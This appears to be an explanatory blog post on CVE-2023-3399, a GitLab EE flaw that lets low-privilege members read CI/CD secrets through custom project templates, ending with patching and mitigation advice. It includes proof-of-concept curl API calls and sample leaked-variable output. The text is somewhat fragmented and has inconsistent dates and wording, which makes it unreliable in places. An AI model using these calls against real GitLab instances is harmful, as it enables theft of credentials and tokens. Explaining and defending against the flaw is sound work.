---
Introduction
In June 2023, a significant security vulnerability was discovered in GitLab Enterprise Edition (EE), tracked as CVE-2023-3399. This flaw allows an unauthorized project or group member to read sensitive CI/CD variables by abusing custom project templates. This long-read explains the issue in simple language, breaks down the impact, provides code snippets that demonstrate how the exploit works, and offers guidance for mitigation. All technical jargon is explained for clarity and exclusivity.
Product Affected: GitLab EE
- Impact: Unauthorized access to CI/CD variables (e.g., secrets and tokens)
16.5 before 16.5.1
GitLab security advisory provides the official details.
The risk? Anyone who is part of a project or group, even without full admin permissions, could secretly read sensitive variables like passwords, database URLs, and API keys. These are normally visible only to project maintainers or owners.
What's a Custom Project Template in GitLab?
Custom Project Templates allow you to provide “starter repositories” for your teams, stored in a group. When creating a new project, users can pick a template to copy its code and configuration.
When a project is made from a template, GitLab sometimes copies variables from the template.
- Attackers could craft or utilize project/group membership and template functionality to surface secrets into their own forked project, even though secrets should never be inherited this way.
Attacker is a member (with low-level role) of a group that has a custom project template.
- The template project contains sensitive CI/CD variables, such as SECRET_KEY or DOCKER_PASSWORD.
2. Attacker Creates a New Project From the Template
The attacker uses the GitLab UI or API to create a new project using the vulnerable template.
Example: Using the GitLab API
curl --header "PRIVATE-TOKEN: <attacker_access_token>" \
-X POST "https://gitlab.example.com/api/v4/projects"; \
--form "name=evil-project" \
--form "template_name=SensitiveTemplate" \
--form "namespace_id=attacker_namespace_id"
*Replace placeholders as needed.*
3. Secret Variables Become Visible
After the new project is created, the CI/CD variables from the template are *improperly copied* to the new project.
Attacker can now list all CI/CD variables
curl --header "PRIVATE-TOKEN: <attacker_access_token>" \
"https://gitlab.example.com/api/v4/projects/evil-project-id/variables";
Example Output
[
{
"key": "SECRET_KEY",
"value": "Th1sIsAS3cr3t_K3y",
"protected": false,
"masked": true,
"variable_type": "env_var"
},
{
"key": "API_TOKEN",
"value": "abcdef123456",
"protected": false,
"masked": false,
"variable_type": "env_var"
}
]
Why is This Bug Dangerous?
- CI/CD variables often hold the "crown jewels" — credentials, tokens, encryption keys.
- These should always be protected from unprivileged users, but this bug intentionally exposed them.
Official Reference
- GitLab Security Release: 16.5.1, 16.4.2, 16.3.6
- CVE Record on NVD
Workarounds (before patching)
- Audit custom templates: Remove any sensitive CI/CD variables from the template projects.
Review group memberships: Restrict access and review who can create new projects from templates.
- Monitor API Usage: Pay attention to project creation and CI/CD variable access logs.
Technical References
- GitLab Issue #426525
- GitLab Documentation: Custom Project Templates
- CVE Detail (CVE-2023-3399)
Conclusion
CVE-2023-3399 is a critical information disclosure bug in GitLab EE’s template system. It enabled most group or project members to steal highly sensitive secrets, leading to a potential domino effect throughout an organization’s supply chain.
Action required: Upgrade GitLab EE immediately — and always treat templates as a potential risk factor when they touch sensitive configuration.
If you have any custom templates, check them for secrets. Always use environment variables with minimum required access and restrict permissions.
Timeline
Published on: 11/06/2023 13:15:09 UTC
Last modified on: 11/14/2023 18:01:40 UTC